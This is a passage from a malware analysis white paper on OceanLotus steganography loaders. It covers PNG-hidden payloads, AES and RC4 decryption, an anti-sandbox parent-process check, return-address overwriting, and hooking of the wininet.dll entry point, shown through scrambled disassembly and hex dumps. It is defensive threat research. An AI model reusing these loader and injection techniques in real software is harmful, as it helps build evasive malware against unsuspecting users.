decryption is performed with the use of the StreamTransformationFilter class with the StreamTransformation cipher set to AES +CBC decryption mode: +.text:10002953 loc_10002953: +.text:10002953 +.text:10002955 +.text:10002956 +.text:1000295A +.text:1000295B +.text:1000295F +.text:1000295F +.text:1000295F +.text:10002964 +.text:10002968 +.text:1000296C +.text:1000296E +.text:10002970 +.text:10002973 +.text:10002976 +.text:10002976 +.text:10002979 +.text:1000297D +.text:10002981 +.text:10002983 +.text:10002985 +.text:10002987 +.text:10002989 +push +push +push +call +push +push +push +push +call +push +push +push +push +call +; CODE XREF: cryptoPP_stuff+9F +; paddingScheme +; StringSink(decrypted) +eax, [esp+210h+decryptor] +; 0x1007B838 CryptoPP::CBC_Decryption::`vftable +ecx, [esp+214h+StreamTransformationFilter] +decFilter +; StreamTransformationFilter decFilter(*decryptor, +; new StringSink(decrypted), +; paddingScheme); +eax, [esp+208h+StreamTransformationFilter] +ecx, [esp+208h+StreamTransformationFilter] +; blocking +; messageEnd +[ebp+enc_size] ; length +[ebp+enc_payload] ; inString +[eax+StreamTransformationFilter.Put2] ; decrypt buffer +; 0x10003870 BufferedTransformation__Put2 +eax, [esp+208h+StreamTransformationFilter] +ecx, [esp+208h+StreamTransformationFilter] +0FFFFFFFFh +[eax+StreamTransformationFilter.Put2] +Figure 16. Payload decryption with the use of CryptoPP StreamTransformationFilter class +OceanLotus Steganography : Malware Analysis White Paper +The library code performs numerous checks for the CPU features, and based on the outcome, it will choose a processor-specific +implementation of the cryptographic function: +.text:1000B6C0 Rijndael_Dec_AdvancedProcessBlocks proc near +.text:1000B6C0 +; DATA XREF: .rdata:1007BBBC +.text:1000B6C0 +.text:1000B6C0 ib += dword ptr 4 +.text:1000B6C0 xb += dword ptr 8 +.text:1000B6C0 outBlocks += dword ptr 0Ch +.text:1000B6C0 length += dword ptr 10h +.text:1000B6C0 flags += dword ptr 14h +.text:1000B6C0 +.text:1000B6C0 +g_x86DetectionDone, 0 +.text:1000B6C7 +push +.text:1000B6C8 +esi, ecx +.text:1000B6CA +short loc_1000B6D1 +.text:1000B6CC +call +DetectX86Features +.text:1000B6D1 +.text:1000B6D1 loc_1000B6D1: +; CODE XREF: Rijndael_Dec_AdvancedProcessBlocks+A +.text:1000B6D1 +g_hasAESNI, 0 +.text:1000B6D8 +push +[esp+4+flags] +.text:1000B6DC +push +[esp+8+length] +.text:1000B6E0 +push +[esp+0Ch+outBlocks] +.text:1000B6E4 +push +[esp+10h+xb] +.text:1000B6E8 +push +[esp+14h+ib] +.text:1000B6EC +short loc_1000B703 +.text:1000B6EE +push +[esi+cipher.rounds] +.text:1000B6F1 +push +[esi+cipher.sk] +.text:1000B6F7 +call +Rijndael_Dec_AdvancedProcessBlocks_AESNI +.text:1000B6FC +esp, 1Ch +.text:1000B6FF +.text:1000B700 +retn +.text:1000B703 ; --------------------------------------------------------------------------.text:1000B703 +.text:1000B703 loc_1000B703: +; CODE XREF: Rijndael_Dec_AdvancedProcessBlocks+2C +https://en.wikipedia.org/wiki/Kaito_Kuroba +.text:1000B703 +ecx, esi +.text:1000B705 +call +decrypt_no_AESNI +.text:1000B70A +.text:1000B70B +retn +.text:1000B70B Rijndael_Dec_AdvancedProcessBlocks endp +Figure 17. CPU features check and call to the AES decryption routine +OceanLotus Steganography : Malware Analysis White Paper +One of the AES implementations makes use of the Intel AES-NI encryption instruction set which is supported by several modern +Intel and AMD CPUs: +.text:1002AC90 aes_decrypt_loop: +.text:1002AC90 +.text:1002AC90 +.text:1002AC94 +.text:1002AC97 +movdqa +.text:1002AC9C +movdqa +.text:1002ACA0 +aesdec +.text:1002ACA5 +movdqa +.text:1002ACA9 +movdqa +.text:1002ACAD +aesdec +.text:1002ACB2 +movdqa +.text:1002ACB6 +movdqa +.text:1002ACBA +aesdec +.text:1002ACBF +movdqa +.text:1002ACC3 +movdqa +.text:1002ACC7 +aesdec +.text:1002ACCC +movdqa +.text:1002ACD0 +.text:1002ACD2 +; CODE XREF: AESNI_Dec_4_Blocks+67 +; AESNI_Dec_4_Blocks+B0 +[esp+8+arg_4] +edi, [edi+10h] +xmm1, xmmword ptr [edi-10h] +xmm0, xmmword ptr [ecx] +xmm0, xmm1 +xmmword ptr [ecx], xmm0 +xmm0, xmmword ptr [edx] +xmm0, xmm1 +xmmword ptr [edx], xmm0 +xmm0, xmmword ptr [esi] +xmm0, xmm1 +xmmword ptr [esi], xmm0 +xmm0, xmmword ptr [eax] +xmm0, xmm1 +xmmword ptr [eax], xmm0 +short aes_decrypt_loop +edi, [esp+8+arg_14] +Figure 18. Use of Intel AES-NI instruction set +The decrypted payload undergoes one final transformation, where it is XORed with the first byte read from the C:\Windows\system. +ini file, which is expected to begin with a comment character + (0x3B): +.text:100023A0 dexor_loop: +.text:100023A0 +.text:100023A0 +.text:100023A3 +.text:100023A6 +.text:100023A7 +.text:100023AB +; CODE XREF: decode_payload+CB +; decode_payload+DB +; first byte of system.ini file (0x3B) +[ecx+esi], bl +eax, [ecx+esi] +ecx, [esp+224h+decrypted_size] +short dexor_loop +Figure 19. Removing the final layer of payload obfuscation +OceanLotus Steganography : Malware Analysis White Paper +Performing the same steps in CyberChef, it is possible to decode the encrypted payload, which should yield x86 shellcode, starting +with a call immediate opcode sequence: +Figure 20. Decrypting first block of payload using CyberChef +OceanLotus Steganography : Malware Analysis White Paper +Steganography Loader #2 +SHA256 +4c02b13441264bf18cc63603b767c3d804a545a60c66ca60512ee59abba28d4d +Classification +Malware/Backdoor +Size +658 KB (674,304 bytes) +Type +PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit +File Name +Varies +Observed +September 2018 +Overview +While this loader differs somewhat in general implementation, the payload extraction routine seems to be the same as in the +previous variant. The main differences are: + The way the decryption routine is called (from within the DllMain function, as opposed to an exported function) + The way the payload is invoked (by overwriting the return address on the stack, as opposed to a direct call) + Implementation of an additional anti-analysis check that compares the name of the parent process to a string stored in an +encrypted resource +We came across multiple variations of this DLL containing different parent process names, possibly targeted specifically to the +victim +s environment. Some of these names include processes related to security software: + wsc_proxy.exe + plugins-setup.exe + SoftManager.exe + GetEFA.exe +Features + Side-loaded DLL + Anti-debugging/anti-sandboxing check for parent process name + Loads next-stage payload using custom .png steganography + Uses AES128 implementation from Crypto++ library for payload decryption + Executes the payload by overwriting the return address on the stack + Known to load an updated version of Remy backdoor +OceanLotus Steganography : Malware Analysis White Paper +Loader Analysis +This DLL does not contain an export table and its entire functionality resides in the DllMain routine: +.text:10077D50 ; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) +.text:10077D50 _DllMain@12 +proc near +; CODE XREF: ___DllMainCRTStartup+6D +.text:10077D50 +; ___DllMainCRTStartup+85 +.text:10077D50 +.text:10077D50 hinstDLL += dword ptr 4 +.text:10077D50 fdwReason += dword ptr 8 +.text:10077D50 lpvReserved += dword ptr 0Ch +.text:10077D50 +.text:10077D50 +[esp+fdwReason] +.text:10077D54 +eax, [esp+hinstDLL] +.text:10077D58 +hinstDll, eax +.text:10077D5D +short ret_1 +.text:10077D5F +push +; hModule +.text:10077D60 +call +check_parent_name +.text:10077D65 +esp, 4 +.text:10077D68 +test +eax, eax +.text:10077D6A +short ret_1 +.text:10077D6C +push +offset decode_inject_payload ; int +.text:10077D71 +call +overwrite_return_addr +.text:10077D76 +esp, 4 +.text:10077D79 +test +eax, eax +.text:10077D7B +short ret_1 +.text:10077D7D +esp, 18h +.text:10077D80 +ecx, esp +; int +.text:10077D82 +push +offset word_10091BCA ; void * +.text:10077D87 +call +memmove_stuff +.text:10077D8C +call +write_pid_to_desktop_ini +.text:10077D91 +esp, 18h +.text:10077D94 +.text:10077D94 ret_1: +; CODE XREF: DllMain(x,x,x)+D +.text:10077D94 +; DllMain(x,x,x)+1A +j ... +.text:10077D94 +eax, 1 +.text:10077D99 +retn +.text:10077D99 _DllMain@12 +endp +Figure 21. Variant #2 DllMain function +Upon execution, the malware will first decrypt a string from its resources and compare it against the name of the parent process. +If the names differ, the malware will simply exit without touching the payload. The resource containing the expected process name +(ICON/1) is XORed with the first byte of the legitimate C:\Windows\system.ini file + 0x3B ( +Figure 22. Obfuscated file name in ICON/1 resource +OceanLotus Steganography : Malware Analysis White Paper +.text:10002140 +.text:10002144 +.text:10002144 decrypt_resource: +.text:10002144 +.text:10002147 +.text:1000214A +.text:1000214B +.text:1000214D +.text:1000214F +.text:1000214F loc_1000214F: +.text:1000214F +push +.text:10002154 +.text:10002158 +call +.text:1000215D +.text:10002160 +.text:10002162 +push +.text:10002167 +push +.text:10002168 +push +.text:1000216A +call +.text:10002170 +test +.text:10002172 +.text:10002174 +push +.text:10002175 +call +.text:1000217B +push +.text:1000217C +push +.text:1000217D +call +.text:1000217D +.text:10002183 +.text:10002185 +test +.text:10002187 +cmovnz +.text:1000218A +edx, [esp+18h+xor_key] ; first byte of system.ini (0x3B) +; CODE XREF: check_parent_name+7D +[ecx+ebx], dl +; ebx = resource +eax, [ecx+ebx] +ecx, ebp +short decrypt_resource +; CODE XREF: check_parent_name+6E +104h +; unsigned int +byte ptr [ebx+ebp], 0 +??_U@YAPAXI@Z +; operator new[](uint) +esp, 4 +esi, eax +104h +; nSize +; lpFilename +; hModule +ds:GetModuleFileNameA +eax, eax +short loc_1000218E +; pszPath +ds:PathFindFileNameA +; module file name +; decrypted resource +ds:lstrcmpiA +; check if the filename in the resource +; is the same as module filename +ecx, ecx +eax, eax +edi, ecx +[esp+18h+retval], edi +Figure 23. Parent process name comparison +OceanLotus Steganography : Malware Analysis White Paper +If the parent name matches, the malware will traverse the stack in order to find a return address that falls into the memory of the +parent process +s text section: +.text:10002492 +push +.text:10002493 +push +.text:10002494 +call +.text:10002499 +.text:1000249C +.text:1000249F +.text:100024A2 +test +.text:100024A4 +.text:100024A6 +.text:100024A9 +push +.text:100024AA +.text:100024AD +push +.text:100024AE +.text:100024B1 +.text:100024B1 find_return_address: +.text:100024B1 +.text:100024B1 +.text:100024B3 +test +.text:100024B5 +.text:100024B7 +.text:100024BA +.text:100024BC +.text:100024BF +.text:100024C1 +.text:100024C3 +.text:100024C3 +.text:100024C5 +.text:100024C5 loc_100024C5: +.text:100024C5 +.text:100024C5 +.text:100024C7 +.text:100024CA +.text:100024CC +.text:100024CE +.text:100024D0 +.text:100024D2 +.text:100024D4 +.text:100024D7 +.text:100024DA +.text:100024DA next: +.text:100024DA +.text:100024DA +test +.text:100024DC +; text section RVA +; module handle +find_text_section +esp, 0Ch +[ebp+stack_frame], ebp +eax, [ebp+stack_frame] +eax, eax +short ret_0 +edx, [ebp+dll_text_section_endptr] ; base + text_rva + text_size +ebx, [ebp+dll_text_section_ptr] ; base + text_rva +edi, [ebp+loader_textsection_endptr] ; base + text_rva + text_size +ecx, [eax] +; CODE XREF: overwrite_return_addr+BC +; search the stack to find return address +; that is in the memory of the loader +ecx, ecx +short ret_0_ +esi, [eax+4] +; ebp+4 +eax, [esi] +; return address +[ebp+loader_text_section_rva], eax +short loc_100024C5 +eax, edi +short call_decrypt_function ; if the return address is within +; the memory of the loader +; CODE XREF: overwrite_return_addr+9F +; if return address is outside +; the memory of the loader +[ebp+stack_frame], eax ; next stack frame +ecx, [esi] +ebx, ecx +short next +ecx, edx +short next +eax, 0Ch +[ebp+stack_frame], eax +eax, ecx +; CODE XREF: overwrite_return_addr+AE +; overwrite_return_addr+B2 +eax, eax +; if return_address is outside the DLL text section +short find_return_address +Figure 24. Finding the return address on the stack +OceanLotus Steganography : Malware Analysis White Paper +Next, the payload is read from the .png cover file, which seems to have been taken from an inspirational quotes website3. In this +instance, the payload is fully contained within the image +s pixel color codes, leaving no remaining data beyond the IEND marker: +Figure 25. Image containing encoded payload +Finally, the loader will decrypt the payload to a memory buffer and overwrite the previously found return address with the pointer +to that buffer, ensuring that the malicious shellcode will be executed when the DLL attempts to return to the caller: +.text:100024E7 call_decrypt_function: +; CODE XREF: overwrite_return_addr+A3 +.text:100024E7 +call +[ebp+decrypt_payload_function] +.text:100024EA +.text:100024EB +[esi], eax +; overwrite return address +.text:100024EB +; with injected payload ptr +.text:100024ED +eax, 1 +.text:100024F2 +.text:100024F3 +.text:100024F4 +esp, ebp +.text:100024F6 +.text:100024F7 +retn +.text:100024F7 overwrite_return_addr endp +Figure 26. Overwriting return address with pointer to the decrypted payload +http://www.getfrank.co.nz/editorial/inspirational-quotes/turn-your-face-to-the-sun-and-the-shadows-fall-behind-you-charlotte-whitton +OceanLotus Steganography : Malware Analysis White Paper +The loader embedded in the payload seems to be a variant of the Veil +shellcode_inject + payload, previously used by OceanLotus +to load older versions of Remy backdoor. In this instance, the shellcode is configured to load an encoded backdoor from within +the payload: +Figure 27. Decoding process +OceanLotus Steganography : Malware Analysis White Paper +Backdoor Launcher +The final payload comes in a form of a launcher DLL that contains an encrypted backdoor in its .rdata section and a plain-text +configuration in its resources. The resources also store one or more C2 communication modules. The backdoor DLL and the C2 +communication DLLs are heavily obfuscated using high quantities of junk code, which significantly inflates their size and makes +both static analysis and debugging more difficult. +In addition to Denes and Remy backdoors, at least two different communication modules were observed with different versions of +this launcher + DNSProvider and HTTPProv. +Initial Shellcode +The launcher binary, which contains the final backdoor, is RC4 encrypted and wrapped in a layer of obfuscated shellcode. We can +see the familiar DOS stub in plain text, but the rest of the header and binary body are encrypted: +022A0000 +022A0010 +022A0020 +022A0030 +022A0040 +022A0050 +022A0060 +022A0070 +022A0080 +022A0090 +022A00A0 +022A00B0 +022A00C0 +022A00D0 +022A00E0 +022A00F0 +022A0100 +022A0110 +022A0120 +022A0130 +022A0140 +022A0150 +E8 E2 7A 16 00 FE FE FE +47 84 50 D4 10 7B D3 63 +07 F7 3B 3C 9E 3A 5A 82 +7D 55 61 C9 80 C9 EC 22 +48 5C F3 93 D2 6C 91 ED +7A CF 51 46 E2 D1 51 A1 +13 AB FF 31 11 31 8B F8 +66 08 BF 5A BD 98 67 CF +D2 76 B9 A0 60 42 82 64 +37 1A C0 81 38 97 6F A5 +58 CF 19 DA 90 FF 79 35 +07 CA CB 01 55 61 63 AA +8E 27 C7 F7 58 1E 6E 81 +10 13 55 08 B5 82 05 C4 +69 5D 3B 47 3B D6 DF 9C +4D 65 10 CC B3 A5 68 BE +49 93 99 3D 3F 31 63 14 +F1 E9 76 CE F2 C6 F5 F3 +31 3D F8 18 F8 71 BB 0E +B8 01 4C CD 21 54 68 69 +6D 20 63 61 6E 6E 6F 74 +69 6E 20 44 4F 53 20 6D +FE DD 38 64 17 4C 32 BD +37 E3 D5 27 4B A2 65 BA +69 47 62 B8 1D 59 B2 B9 +3B 8A 34 CC EE 76 82 3E +21 A8 24 F7 C1 E7 62 4A +DB 33 31 7B CB 1F 4C D7 +C6 B3 CC CF 4C 99 B6 FF +AD EF 78 0C 44 71 3C E6 +2F EC 40 26 FB 88 BF D9 +4E F6 4D B2 21 66 DD B3 +CC 08 D4 03 61 E1 B3 8F +4B 08 85 71 E6 4B D0 6F +B2 8A 4B 42 FD 2B F9 96 +FE A4 0C FF DB 1A FF 1E +D9 93 31 FF F8 78 D3 6A +FC 76 CA 17 E2 96 C7 B1 +57 DF 08 C2 CF 87 76 C9 +65 D4 C0 B4 99 26 4D DC +1F BA 0E 00 B4 09 CD 21 +73 20 70 72 6F 67 72 61 +20 62 65 20 72 75 6E 20 +6F 64 65 2E 0D 0D 0A 24 +8d.L2 +x.Dq< +.Uac +X.n. +..U. +i];G; +=?1c.W +!This progra +m cannot be run +in DOS mode....$ +Figure 28. DOS stub in payload +OceanLotus Steganography : Malware Analysis White Paper +The shellcode is obfuscated using OceanLotus +s standard approach of flattening the control flow and inserting junk opcodes (as +described in the ESET white paper on OceanLotus4): +debug053:024098B2 +debug053:024098B3 +debug053:024098B4 +debug053:024098B5 +debug053:024098B8 +debug053:024098B9 +debug053:024098BB +debug053:024098BC +debug053:024098BD +debug053:024098BE +debug053:024098C0 +debug053:024098C4 +debug053:024098C6 +debug053:024098C7 +debug053:024098C9 +debug053:024098CD +debug053:024098CE +debug053:024098D0 +debug053:024098D3 +debug053:024098D6 +debug053:024098D8 +debug053:024098DA +debug053:024098DC +debug053:024098DD +debug053:024098DF +debug053:024098E4 +debug053:024098E9 +debug053:024098EB +debug053:024098EF +debug053:024098F0 +debug053:024098F4 +debug053:024098F5 +debug053:024098F6 +debug053:024098FA +debug053:024098FE +debug053:02409902 +debug053:02409903 +debug053:02409905 +debug053:02409909 +debug053:0240990A +pushf +push +push +xadd +push +push +bswap +test +push +popf +edx, ebx +dh, ch +ecx, 2 +ax, 0E1h +bh, 3 +ax, 1 +ah, bh +eax, 7950h +ecx, 24DCh +edx, [esp+80Ch+var_804] +cx, ax +ebx, [esp+80Ch+var_800] +cx, 4 +ecx, [esp+80Ch+var_808] +eax, [esp+80Ch+var_7FC] +Figure 29. Garbage opcodes +https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf +OceanLotus Steganography : Malware Analysis White Paper +The shellcode starts in a fairly standard way + by walking the list of loaded modules in order to find the base of kernel32.dll library: +debug053:02407B58 +debug053:02407B5E +debug053:02407B5F +debug053:02407B61 +debug053:02407B63 +debug053:02407B66 +push +eax, large fs:_TEB.ProcessEnvironmentBlock +ebx, ebx +edx, ebx +[ebp-50h], ebx +eax, [eax+_PEB_LDR_DATA.InLoadOrderModuleList.Flink] +ecx, [eax+_LDR_DATA_TABLE_ENTRY.InMemoryOrderLinks.Blink] +[ecx+_LDR_DATA_TABLE_ENTRY.DllBase], ebx +loc_240A54D +Figure 30. Walk modules +debug053:024088B1 +debug053:024088B4 +debug053:024088B7 +Figure 31. Find module +debug053:0240898D +dword ptr [ebp-40h], +debug053:02408994 +dword ptr [ebp-10h], +debug053:0240899B +dword ptr [ebp-28h], +debug053:024089A2 +loc_2409C85 +debug053:02409C85 ; --------------------------------------------------------------------------debug053:02409C85 +debug053:02409C85 loc_2409C85: +; CODE XREF: sub_2407AEF+EB3 +debug053:02409C85 +dword ptr [ebp-38h], +debug053:02409C8C +dword ptr [ebp-34h], +debug053:02409C93 +dword ptr [ebp-8], +debug053:02409C9A +dword ptr [ebp-14h], +debug053:02409CA1 +dword ptr [ebp-1Ch], +debug053:02409CA8 +dword ptr [ebp-24h], +debug053:02409CAF +dword ptr [ebp-44h], +debug053:02409CB6 +dword ptr [ebp-20h], +Figure 32. Check for kernel32.dll +OceanLotus Steganography : Malware Analysis White Paper +Once kernel32 base is found, the shellcode will calculate the addresses of LoadLibraryA and GetProcAddress functions, and use +them to resolve other necessary APIs, which include VirtualAlloc, RtlMoveMemory, and RtlZeroMemory: +debug053:0240947C found_kernel32: +debug053:0240947C +debug053:0240947C +debug053:0240947F +debug053:02409482 +debug053:0240948C +debug053:02409496 +debug053:02409499 +debug053:024094A3 +debug053:024094A9 +debug053:024094B3 +; export table +debug053:024094B7 +debug053:024094B9 +debug053:024094C3 +debug053:024094CD +debug053:024094D7 +debug053:024094DA +debug053:024094DC +debug053:024094DF +debug053:024094E2 +debug053:024094E4 +debug053:024094E7 +debug053:024094EA +; CODE XREF: sub_2407AEF+87D +; sub_2407AEF+889 +ecx, [ecx+_LDR_DATA_TABLE_ENTRY.DllBase] +[ebp-10h], ecx +dword ptr [ebp-56Ch], +daoL +dword ptr [ebp-568h], +rbiL +eax, [ecx+IMAGE_DOS_HEADER.e_lfanew] +dword ptr [ebp-564h], +Ayra +[ebp-560h], ebx +dword ptr [ebp-57Ch], +PteG +eax, [eax+ecx+IMAGE_NT_HEADERS32.OptionalHeader.DataDirectory.VirtualAddress] +eax, ecx +dword ptr [ebp-578h], +Acor +dword ptr [ebp-574h], +erdd +dword ptr [ebp-570h], +esi, [eax+IMAGE_EXPORT_DIRECTORY.AddressOfNames] +esi, ecx +[ebp-20h], esi +esi, [eax+IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals] +esi, ecx +[ebp-8], esi +esi, [eax+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions] +eax, [eax+IMAGE_EXPORT_DIRECTORY.NumberOfNames] +Figure 33. Resolve kernel32.dll imports +debug053:02409942 +dword ptr [ebp-58Ch], +triV +debug053:0240994C +push +debug053:0240994D +push +debug053:0240994E +dword ptr [ebp-588h], +Alau +debug053:02409958 +loc_2409055 +debug053:02409055 ; --------------------------------------------------------------------------debug053:02409055 +debug053:02409055 loc_2409055: +; CODE XREF: sub_2407AEF+1E69 +debug053:02409055 +dword ptr [ebp-584h], +coll +debug053:0240905F +[ebp-580h], ebx +debug053:02409065 +call +; GetProcAddress +Figure 34. VirtualAlloc string constructed on the stack +0027F270 +0027F280 +0027F290 +0027F2A0 +0027F2B0 +0027F2C0 +54 37 EC 88 93 C9 8A 55 +65 72 6F 4D 65 6D 6F 72 +6F 76 65 4D 65 6D 6F 72 +75 61 6C 41 6C 6C 6F 63 +72 6F 63 41 64 64 72 65 +4C 69 62 72 61 72 79 41 +CE 69 3C 00 52 74 6C 5A +79 00 00 00 52 74 6C 4D +79 00 00 00 56 69 72 74 +00 00 00 00 47 65 74 50 +73 73 00 00 4C 6F 61 64 +00 00 00 00 87 05 51 CF +i<.RtlZ +eroMemory...RtlM +oveMemory...Virt +ualAlloc....GetP +rocAddress..Load +LibraryA.... +Figure 35. Shellcode imports +OceanLotus Steganography : Malware Analysis White Paper +After resolving the APIs, the shellcode will decrypt the launcher binary and load it to the memory. MZ header, PE header, as well as +each section and their header, are decrypted separately using RC4 algorithm and a hardcoded key: +debug053:02408C28 decrypt_pe_header: +debug053:02408C28 +movzx +debug053:02408C2F +debug053:02408C36 +debug053:02408C3C +debug053:02408C42 +movzx +debug053:02408C45 +movzx +debug053:02408C48 +debug053:02408C4F +debug053:02408C56 +movzx +debug053:02408C59 +movzx +debug053:02408C61 +debug053:02408C68 +debug053:02408C6F +debug053:02408C70 +debug053:02408C76 +; CODE XREF: sub_2407AEF+10AC +eax, byte ptr [ebp-5AFh] +[ebp+eax-6B0h], cl +bl, [ebp-5AFh] +dl, [ebp-5B0h] +ecx, bl +eax, dl +cl, [ebp+ecx-6B0h] +cl, [ebp+eax-6B0h] +eax, cl +eax, byte ptr [ebp+eax-6B0h] +al, [ebp+eax-35Ch] +[ebp+esi-7E8h], al +esi, 0F8h +decrypt_PE_header_loop +Figure 36. Fragment of code for RC4 decryption of PE header +Once all sections are loaded, the relocations get fixed and the MZ/PE headers are zeroed out in memory: +debug053:02409E32 find_reloc: +debug053:02409E32 +debug053:02409E35 +debug053:02409E38 +debug053:02409E3F +debug053:02409E45 +debug053:02409E4D +debug053:02409F18 +debug053:02409F1A +debug053:02409F21 +debug053:02409F26 +debug053:02409F2A +debug053:02409F30 +debug053:02409F33 +debug053:02409F39 +movzx +imul +; CODE XREF: sub_2407AEF+236C +eax, cx +eax, 28h +dword ptr [eax+edx], +ler. +loc_2409E53 +dword ptr [eax+edx+4], +loc_2409EDA +eax, edx +dword ptr [ebp-0Ch], 3000h +eax, 0F000h +[ebp-0Ch], ax +loc_2409797 +edi, [ebp-8] +edx, 0FFFh +edx, [ecx] +; Fixup relocations +Figure 37. Find .reloc section in loaded module +The shellcode then proceeds to execute the payload DLL +s entry point: +debug053:02409723 +debug053:02409723 loc_2409723: +debug053:02409723 +debug053:02409726 +debug053:02409728 +debug053:0240972E +debug053:0240972F +debug053:02409731 +debug053:02409732 +debug053:02409734 +debug053:02409736 +debug053:02409738 +debug053:0240973E +test +push +push +push +call +test +; CODE XREF: sub_2407AEF+27DB +eax, [edi+IMAGE_NT_HEADERS32.OptionalHeader.AddressOfEntryPoint] +eax, eax +null_ep +eax, esi +; Call payload DLL entry-point +eax, eax +exit +[edi+28h], ebx +Figure 38. Execute OEP of payload DLL +OceanLotus Steganography : Malware Analysis White Paper +Launcher DLL +The Internal name of this DLL is a randomly looking CLSID and it only exports one function called DllEntry. +.rdata:00978B22 a79828cc5897943 db +{79828CC5-8979-43C0-9299-8E155B397281}.dll +.rdata:00978B4D aDllentry +DllEntry +; DATA XREF: .rdata:off_978B1C +Figure 39. DLL name and export +Upon execution, the launcher will attempt to hook legitimate wininet.dll library by overwriting its entry point in memory with the +address of a malicious routine. If successful, every time the system loads wininet.dll, the entry point of the subsequently dropped +backdoor DLL will be executed before the original wininet entry point. +.text:009069FE try_again_loop: +; CODE XREF: hook_wininet+9D +.text:009069FE +push +offset aWininet ; +wininet +.text:00906A03 +call +ds:LoadLibraryW +.text:00906A09 +[ebp+wininet_base], eax +.text:00906A0C +[ebp+wininet_base], 0 +.text:00906A10 +short loc_906A14 +.text:00906A12 +short ret_1 +.text:00906A14 ; --------------------------------------------------------------------------.text:00906A14 +.text:00906A14 loc_906A14: +; CODE XREF: hook_wininet+20 +.text:00906A14 +ecx, [ebp+wininet_base] +.text:00906A17 +wininet_base, ecx +.text:00906A1D +edx, large fs:30h +.text:00906A24 +[ebp+peb], edx +.text:00906A27 +[ebp+peb], 0 +.text:00906A2B +short loc_906A2F +.text:00906A2D +short ret_1 +.text:00906A2F ; --------------------------------------------------------------------------.text:00906A2F +.text:00906A2F loc_906A2F: +; CODE XREF: hook_wininet+3B +.text:00906A2F +eax, [ebp+peb] +.text:00906A32 +ecx, [eax+PEB.Ldr] +.text:00906A35 +edx, [ecx+PEB_LDR_DATA.InMemoryOrderModuleList.Flink] +.text:00906A38 +edx, 8 +.text:00906A3B +[ebp+LDR_DATA_TABLE_ENTRY], edx +.text:00906A3E +short loc_906A4C +.text:00906A40 ; --------------------------------------------------------------------------.text:00906A40 +.text:00906A40 find_wininet: +; CODE XREF: hook_wininet:check_next +.text:00906A40 +eax, [ebp+LDR_DATA_TABLE_ENTRY] +.text:00906A43 +ecx, [eax+8] +.text:00906A46 +ecx, 8 +.text:00906A49 +[ebp+LDR_DATA_TABLE_ENTRY], ecx +.text:00906A4C +.text:00906A4C loc_906A4C: +; CODE XREF: hook_wininet+4E +.text:00906A4C +edx, [ebp+LDR_DATA_TABLE_ENTRY] +.text:00906A4F +[edx+LDR_DATA_TABLE_ENTRY.DllBase], 0 +.text:00906A53 +short try_load_wininet +.text:00906A55 +eax, [ebp+LDR_DATA_TABLE_ENTRY] +.text:00906A58 +ecx, [eax+LDR_DATA_TABLE_ENTRY.DllBase] +OceanLotus Steganography : Malware Analysis White Paper +.text:00906A5B +ecx, [ebp+wininet_base] +.text:00906A5E +short check_next +.text:00906A60 +edx, [ebp+LDR_DATA_TABLE_ENTRY] +.text:00906A63 +eax, [edx+LDR_DATA_TABLE_ENTRY.EntryPoint] +.text:00906A66 +wininet_oep, eax +.text:00906A6B +ecx, [ebp+LDR_DATA_TABLE_ENTRY] +.text:00906A6E +edx, [ebp+call_decrypted_dll_ep_ptr] +.text:00906A71 +[ecx+LDR_DATA_TABLE_ENTRY.EntryPoint], edx ; ; +.text:00906A71 +; replace wininet.dll EP with +.text:00906A71 +; 0x08B31C0 call_decrypted_dll_ep +.text:00906A74 +short try_load_wininet +.text:00906A76 ; --------------------------------------------------------------------------.text:00906A76 +.text:00906A76 check_next: +; CODE XREF: hook_wininet+6E +.text:00906A76 +short find_wininet +Figure 40. Routine that hooks wininet.dll +.text:008B3108 +.text:008B310C +.text:008B310D +.text:008B310E +.text:008B3112 +.text:008B3113 +.text:008B3114 +.text:008B3118 +.text:008B311C +.text:008B311E +.text:008B3123 +.text:008B3123 decrypt_loop: +.text:008B3123 +.text:008B3129 +.text:008B3130 +.text:008B3134 +.text:008B313A +.text:008B3141 +.text:008B3144 +.text:008B3147 +.text:008B314A +.text:008B314D +.text:008B3154 +.text:008B3158 +.text:008B315F +.text:008B3162 +.text:008B3165 +.text:008B3169 +.text:008B316C +.text:008B316E +.text:008B3173 +.text:008B3175 +.text:008B3179 +push +push +push +push +eax, [esp+scheduled_key] +ebp, [esp+8+payload] +edi, [esp+10h+out_buffer] +[esp+10h+size], ecx +ebp, edi +ecx, 1 +movzx +movzx +movzx +movzx +movzx +movzx +movzx +movzx +; CODE XREF: rc4_crypt+79 +[eax+100h], cl +esi, byte ptr [eax+100h] +edx, byte ptr [esi+eax] +[eax+101h], dl +ecx, byte ptr [eax+101h] +bl, [ecx+eax] +dl, [esi+eax] +[esi+eax], bl +[ecx+eax], dl +ecx, byte ptr [eax+101h] +ecx, byte ptr [ecx+eax] +edx, byte ptr [eax+100h] +cl, [edx+eax] +edx, cl +ecx, byte ptr [edx+eax] +cl, [edi+ebp] +[edi], cl +ecx, 1 +edi, ecx +[esp+10h+size], ecx +short decrypt_loop +Figure 41. Backdoor decryption routine +OceanLotus Steganography : Malware Analysis White Paper +There is no proper DLL injection routine + the payload is just decompressed to the memory as-is + so the malware needs to fix all +the pointers in the decompressed code, which is done on a one-by-one basis using hardcoded values and offsets. This part takes +90% of the whole launcher code and includes over 11,000 modifications: +.text:008B34CC loc_8B34CC: +.text:008B34CC +.text:008B34CF +.text:008B34D0 +.text:008B34D3 +.text:008B34D6 +.text:008B34DB +.text:008B34E0 +.text:008B34E3 +.text:008B34E6 +.text:008B34E9 +.text:008B34EA +.text:008B34ED +.text:008B34F0 +.text:008B34F5 +.text:008B34FA +.text:008B34FD +.text:008B3500 +.text:008B3503 +.text:008B3504 +push +call +push +push +call +push +call +push +push +call +push +call +; CODE XREF: decrypt_decompress_fix_payload+1D3 +ecx, [ebp+function_pointers] +[ebp+sub_904E10__call_comcritsect] +esp, 4 +3E455Bh +; difference +51D7FFh +; destination offset +[ebp+sub_905F80__fix_pointer] ; 0x905F80 fix_pointer +esp, 8 +edx, [ebp+function_pointers] +[ebp+sub_904E10__call_comcritsect] +esp, 4 +31183h +4E246Dh +[ebp+sub_905F80__fix_pointer] +esp, 8 +eax, [ebp+function_pointers] +[ebp+sub_904E10__call_comcritsect] +Figure 42. A fragment of code used for fixing pointers +The launcher then calls the backdoor DLL 